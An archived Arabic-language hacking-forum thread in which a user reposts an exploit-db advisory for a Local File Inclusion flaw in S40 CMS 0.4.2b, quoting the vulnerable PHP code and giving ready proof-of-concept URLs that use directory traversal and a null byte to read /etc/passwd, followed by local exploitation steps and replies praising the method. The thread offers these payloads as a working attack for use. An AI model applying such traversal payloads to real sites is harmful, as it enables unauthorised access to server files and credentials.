المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : اخر ما نزل ثغرة S40 CMS 0.4.2b LFI Vulnerability والشرح لها



V!RUS TROJAN
04-08-2011, 12:01 AM
باسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته

اخر ثغرة تم نزولها في موقع السكيوريتي exploit-db

الثغرة في سكريبت S40 CMS 0.4.2b LFI Vulnerability
لنسخة من السكريت : 0.4.2

رابط تحميل السكريبت : هنا (http://s40.biz/?p=download)

الثغرة




------------------------------------------------------------------------------------------------------------
[CMS Description]

S40 CMS is FREE Content Management System
S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites.
S40 is open-source MIT-license CMS developed by AWEN art studio Ltd.
S40 is fast and easy to customize system with build-in installer.


------------------------------------------------------------------------------------------------------------
[Security Flaw]

S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input
sanitization: GET variables are not properly sanitized before being included via require() PHP function.




<?php
ob_start("ob_gzhandler"); // comment this line to disable gzip compression
require "inc/config.php";
require "inc/langs/".$s40[lang] .".php";
if ($s40[installed]){
require "inc/functions.php";
checkinstall();
require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]);

....



Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized
or passed through a valid regular expression before being returned to require() function of index.php file.




function page($pid,$cid,$gid,$gp){
if(!isset($pid)){
$p = "index";
return "data/".$p.".page.php";
}else{
if (isset($pid) and isset($cid)){
if(!file_exists("data/".$pid.".child.".$cid.".php")){
return "data/404.inc";
}else{
$p = $pid;
$c = $cid;
return "data/".$p.".child.".$c.".php";
}
}else{
if(!file_exists("data/".$pid.".page.php")){
return "data/404.inc";
}else{
$p = $pid;
return "data/".$p.".page.php";
}
}
}
}
....




------------------------------------------------------------------------------------------------------------
[Exploit]

The security issue can be exploited sending a valid path via GET request. Null Byte must be used in
order to exploit this LFI.

PoC : /[cms_path]/?p=[local_file]%00
/[cms_path]/?p=/../../../../../../../etc/passwd%00


------------------------------------------------------------------------------------------------------------
[Credits]

Credit goes to Giovanni Buzzin, "Osirys" for the discover of this vulnerability.
(Meglio)


------------------------------------------------------------------------------------------------------------
[END: 07/04/2011]




بعد تحميل السكريبت وتنصيب .~ :في اللوكال هوست localhost

المعروف لمن لا يعرف البرنامج التحميل من :هنا (http://www.appservnetwork.com/)

وتنصيب السكريبت في اللوكال هوست

هدا هو مسار الباسوورد في السكريبت وهي ثغرة LFI


الاستغلال 1


/[cms_path]/?p=[local_file]%00


الاستغلال 2


/[cms_path]/?p=/../../../../../../../etc/passwd%00



cms_path : الملف المصاب
local_file : المتغير


إهداء الى :
abdellatef

SESTYM32

الكونقرس

WOKR

EVEL


إنشاء الله نكون قد افدناكم

لا تنسونا بصالح دعائكم

dark_ma
04-08-2011, 12:29 AM
يعطيك العافية يا بطلنا على الحصريات الرائعة جدا
الف شكر حبيبي الاهداء الله يعطيك الصحة
رابط التغرة : http://www.exploit-db.com/exploits/17129/

V!RUS TROJAN
04-08-2011, 12:41 AM
نوووورت الموضوع حبيبي أحلا مرور

M3 nafsk
04-09-2011, 06:20 PM
مبدع وطريقه فعاله 100 في 10000000000

اهنيك

تحيتي

V!RUS TROJAN
04-10-2011, 05:28 AM
مبدع وطريقه فعاله 100 في 10000000000

اهنيك

تحيتي

هلا حبيبي نورت الموضىوع